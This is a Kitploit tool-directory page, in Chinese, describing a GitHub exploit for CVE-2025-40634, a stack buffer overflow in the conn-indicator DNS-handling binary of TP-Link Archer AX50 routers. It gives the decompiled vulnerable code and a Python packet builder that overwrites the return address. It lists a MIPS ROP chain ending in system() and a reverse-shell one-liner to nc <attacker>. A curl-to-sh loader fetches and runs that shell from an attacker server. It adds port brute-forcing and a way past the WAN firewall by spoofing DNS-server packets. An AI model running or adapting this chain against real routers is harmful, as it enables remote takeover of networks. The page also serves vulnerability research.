Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-40634 — 针对TP-Link Archer AX50路由器中conn-indicator二进制文件的基于栈的缓冲区溢出漏洞的利用工具 | Kitploit
工具/GitHubGitHub/hacefresko/cve-2025-40634
嵌入式系统安全物联网安全漏洞利用模糊测试渗透测试硬件安全远程访问工具二进制利用
GitHubhacefresko/cve-2025-40634

CVE-2025-40634

针对TP-Link Archer AX50路由器中conn-indicator二进制文件的基于栈的缓冲区溢出漏洞的利用工具

查看仓库
318310个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-40634

TP-Link Archer AX50 路由器在其固件版本 1.0.14 Build 20240108 rel.42655(4555) 中存在栈缓冲区溢出漏洞,可在 LAN 和 WAN 侧实现远程代码执行。此漏洞与 Flashback 团队发现并在其系列视频中详细描述(见参考资料)的 CVE-2020-10881 具有相同的根本原因。不过,利用过程略有不同,因此需要编写新的漏洞利用代码。

根本原因

此漏洞出现在 conn-indicator 二进制程序中,该程序负责通过定期发送 DNS 查询并监听其在 32000 到 61000 之间随机 UDP 端口上的响应,来检查路由器是否连接到互联网。

接收并首次处理这些 DNS 响应数据包的函数是 TPDns_RecvAndResolve(),位于 0x00405e3c。当使用 recvfrom 接收到数据包时,它被存储在 buf 中,buf 的大小为 2960 字节。然后,它检查返回码是否正确(RCODE == 0),并检查数据包中的问题和答案数量(QDCOUNT 和 ANCOUNT)。为了处理答案,它调用 process_resolved_IP(),并传递指向 buf 的指针、answer_ptr(指向数据包中答案所在位置的指针)、答案数量(ANCOUNT)以及其他标志:

root@kitploit:~
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
  
  [...]
  
  byte buf [2960];
  
  [...]
  
      while( true ) {
        recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
                              local_38);
        piVar2 = __errno_location();
        if (recv_bytes == 0) goto RECV_ERROR;
        if (recv_bytes < 0) break;
        total_recv_bytes = total_recv_bytes + recv_bytes;
        if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
      }

  [...]

                    /* 检查 ANCOUNT 是否不为 0(答案至少包含一个域名) */
          puVar5 = (undefined4 *)0x0;
          if (buf._6_2_ != 0) {
            local_40 = 0;
            puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
            answer_ptr = answer_ptr + local_40;
          }

  [...]

process_resolved_IP() 函数位于 0x00405818,遍历每个答案并依次调用 DNS_answer_parser()。它传递的参数包括指向 buf 的指针、answer(指向 buf 中当前正在解析的答案的指针)和指向 current_answer 的指针,后者是一个大小为 256 的缓冲区:

root@kitploit:~
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
  
  [...]
  
  byte current_answer [256];
  ushort answer_flags [5];
  
  i = 0;
  puVar9 = (undefined4 *)0x0;
  puVar7 = (undefined4 *)0x0;
  answer = answer_ptr;
  do {
                    /* 检查是否已解析完所有答案 */
    if (i == ANCOUNT) {
      if (param_4 != (undefined4 *)0x0) {
        *param_4 = puVar7;
      }
      if (param_5 != (int *)0x0) {
        *param_5 = (int)answer - (int)answer_ptr;
      }
      return puVar9;
    }
    bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
    memcpy(answer_flags,answer + bytes_processed,10);
    uVar1 = answer_flags._4_4_;
    bytes_processed = bytes_processed + 10;
    uVar6 = (uint)answer_flags[4];
    uVar8 = (uint)answer_flags[0];
    if (uVar8 == 2) {
LAB_00405924:
      DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
    }
    else if (uVar8 < 3) {
      pbVar2 = answer + bytes_processed;
      if (uVar8 == 1) {
        sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
                (uint)pbVar2[3]);
      }
    }
    else {
      if (uVar8 == 5) goto LAB_00405924;
      if (uVar8 == 0x1c) {
        inet_ntop(10,answer,(char *)abStack_240,0xff);
      }
    }
    answer = answer + bytes_processed + uVar6;
  
  [...]

    i = i + 1;
  } while( true );
}

DNS_answer_parser() 函数位于 0x004054e0,逐个解析每个答案,每个答案由一个域名表示,格式为 <len><domain><len><domain>...。例如,example.com 会被表示为 7example3com。该函数循环遍历构成答案域名的每一对 <len><domain>,并检查 <len> 是否小于 63(domain_name & 0xc0 != 0)。然后,它调用 memcpy 并将 answer 中 <len> 字节(对应于 <domain>)复制到 current_answer 中。对域名中的下一对 <len><domain> 重复此过程。

root@kitploit:~
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
  int iVar1;
  uint __n;
  int iVar2;
  uint uVar3;
  ushort flag_and_offset;
  byte domain_name;
  
  iVar2 = 0;
  do {
    domain_name = *answer;
    __n = (uint)domain_name;
    iVar1 = 1;
    if (__n == 0) {
      *current_answer = 0;
LAB_004055b0:
      return iVar2 + iVar1;
    }
                    /* 检查是否使用了压缩模式 */
    if ((domain_name & 0xc0) != 0) {
      flag_and_offset = CONCAT11(domain_name,answer[1]);
      DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
      iVar1 = 2;
      goto LAB_004055b0;
    }
    uVar3 = __n + 1;
    if (flag == 0) {
      *current_answer = '.';
      memcpy(current_answer + 1,answer + 1,__n);
      __n = uVar3;
    }
    else {
      memcpy(current_answer,answer + 1,__n);
    }
    answer = answer + uVar3;
    current_answer = current_answer + __n;
    iVar2 = iVar2 + uVar3;
    flag = 0;
  } while( true );
}

由于 current_answer 只有 256 字节长,攻击者可以发送一个包含足够大域名的答案的数据包,从而溢出缓冲区。

漏洞利用

利用过程与 Flashback 团队在关于 CVE-2020-10881 的视频系列(见参考资料)中解释的过程非常相似,但存在一些关键差异:

  1. 地址不同。
  2. 代码不尽相同,因此某些点的偏移量和栈大小也不一样。
  3. 虽然第一个和第三个 ROP 小工具相同(位于不同地址),但第二个小工具在 move 指令上有所不同,因为现在作为 memcpy() 的 count 参数移至 $a2 的寄存器是 $s1,而不是 $s0。
  4. process_resolved_IP() 中的 i 变量被加载到 $s5 而不是 $s8。然后,当与 $v1 比较时,$v1 从 $sp+616 获取,这距离溢出的缓冲区很远,因此必须进一步破坏答案和命令之后的栈。
  5. 文件系统是只读的,除 /tmp 外,因此所有写入和读取都必须在该目录中进行。这使得反向 shell 长度不可能少于 62 个字符,因此要将其部署到目标上,必须从 Web 服务器提供,并向目标发送一个用于下载和执行它的命令。

尽管如此,我还是会解释整个过程。

conn-indicator 二进制程序启用了 NX,并且除了自身以外启用了 ASLR:

root@kitploit:~
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430       /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430       /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0          [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681       /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681       /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506       /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506       /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872       /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872       /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893       /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893       /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711       /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711       /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709       /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709       /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714       /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714       /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0          [stack]
7ffff000-80000000 r-xp 00000000 00:00 0          [vdso]
root@Archer_AX50:/proc/6541# exploit

因此,利用此漏洞的策略是构建一个 ROP 链,在其中我们可以使用所需的命令执行 system()。

为了能够溢出缓冲区并破坏 $ra 寄存器,攻击者需要发送一个 DNS 响应,其中包含一个足够大的域名的答案。关于 DNS 头部,唯一的要求是 RCODE 为 0 且 ANCOUNT 为 1,因为数据包只需要包含一个答案。例如,以下数据包将 $ra 寄存器破坏为 0x50505050:

root@kitploit:~
# 每个域名的长度必须小于 63
DOMAIN_LEN = 0x3f

TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]

# DNS 响应头部
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT

# 4 个长度为 DOMAIN_LEN 的域名以填满缓冲区
for i in range (0,4):
    packet += [DOMAIN_LEN]
    for j in range(0, DOMAIN_LEN):
        packet += [0x41]

# 用于填充剩余变量的域名
packet += [0x17]
packet += [0x41] * 23

# 用于破坏栈的域名
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]

现在,由于二进制程序的地址在每次执行中都是固定的,并且它具有可写区域,计划是将要执行的命令复制到那里,然后调用 system()。为此,使用以下 ROP 链:

  1. 此小工具为 memcpy() 准备参数。下一个小工具的地址被加载到 $ra 中。然后,$s2 被移到 $v0 中。这包含了二进制程序的可写区域的地址,命令将被复制到该区域,这将成为 memcpy() 的 dest 参数。然后,memcpy 的 count 参数从我们控制的栈地址加载到 $s1 中。最后,跳转到下一个小工具:
root@kitploit:~
00402700  lw      ra, 0x2c(sp)
00402704  move    v0, s2
00402708  lw      s2, 0x28(sp)
0040270c  lw      s1, 0x24(sp)
00402710  lw      s0, 0x20(sp)
00402714  jr      ra
00402718  addiu   sp, sp, 0x30
  1. 此小工具继续为 memcpy() 准备参数,然后调用它。memcpy() 的 dest 参数,对应于二进制程序的可写区域(之前位于 $v0 中),被加载到 $a0 中作为 memcpy() 的第一个参数。在执行的这一点,$a1 指向 DNS 响应数据包中答案的末尾,也就是我们放置命令字符串的位置,因此无需准备 src 参数。然后,包含前一个小工具中加载的 count 参数的 $s1 被移到 $a2 中作为 memcpy() 的第三个参数。最后,调用 memcpy(),命令字符串被复制到二进制程序的可写区域。此小工具位于 process_resolved_IP() 的末尾,因此执行现在在其内部继续。现在需要安排栈,使函数能够成功返回。为此,从栈和某些寄存器加载的此函数的一些变量(如 ANCOUNT、、 和 )被仔细放置在 payload 中。返回时, 的地址再次从栈中取出,我们在其中放置下一个小工具的地址以跳转到那里。
root@kitploit:~
00405a98  move    a0, v0
00405a9c  jal     <EXTERNAL>:memcpy
00405aa0  _move   a2, s1

[...]
  1. 此小工具为 system() 准备参数并调用它。在执行的这一点,$v0 包含 $s3 的值,我们在其中放置了二进制程序可写区域的地址,现在该区域包含命令。因此,$v0 被移到 $a0。然后,system() 的地址(被导入到二进制程序中)从栈中放置到 $ra 中,并调用 system(),从而实现代码执行。
root@kitploit:~
004065e8  move    a0, v0
004065ec  clear   v0
004065f0  lw      ra, 0x1c(sp)
004065f4  jr      ra

现在,要在目标上执行的反向 shell(目标运行 busybox)如下所示:

root@kitploit:~
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f

然而,要执行的命令必须短于 62 个字符,并且由于文件系统只有在 /tmp 下可写,因此无法直接执行反向 shell。相反,执行了一个加载器:curl http://<attacker>:<port>/ | sh,该命令从攻击者处获取反向 shell。

现在,剩下的唯一事情是暴力破解 conn-indicator 正在监听的端口,这可以很容易地自动化。

到目前为止,此漏洞利用仅在 LAN 侧有效,因为 WAN 侧有防火墙。但有一种方法可以绕过此限制。为了使 conn-indicator 接收 DNS 响应,防火墙允许来自二进制程序发送的 DNS 查询相同 IP 的数据包,即来自目标路由器正在使用的 DNS 的数据包。因此,要绕过防火墙,只需发送伪装成 DNS 服务器的数据包即可。如果目标位于本地网络中,DNS 服务器很可能类似于 192.168.0.1、192.168.1.1 或 10.0.0.1;如果目标直接连接到互联网,则可能类似于 8.8.8.8、1.1.1.1 或其他常见 DNS 服务器。

完全功能性的漏洞利用同时适用于 LAN 和 WAN。LAN 模式暴力破解从 32000 到 61000 的每个端口,WAN 模式暴力破解相同的端口以及所有可能的 DNS IP,这些 IP 存储在 SPOOF_LIST 中。此列表应根据攻击者对目标的了解进行编辑,但只要有足够的时间(几分钟),它应该能覆盖 90% 的情况。

参考资料

  • TP-Link Archer AX50 官方页面
  • Flashback Team - DNS 远程代码执行:发现漏洞 👾(第 1 部分)
  • Flashback Team - DNS 远程代码执行:编写漏洞利用程序 💣(第 2 部分)
下载工具
param_4
param_5
i
$ra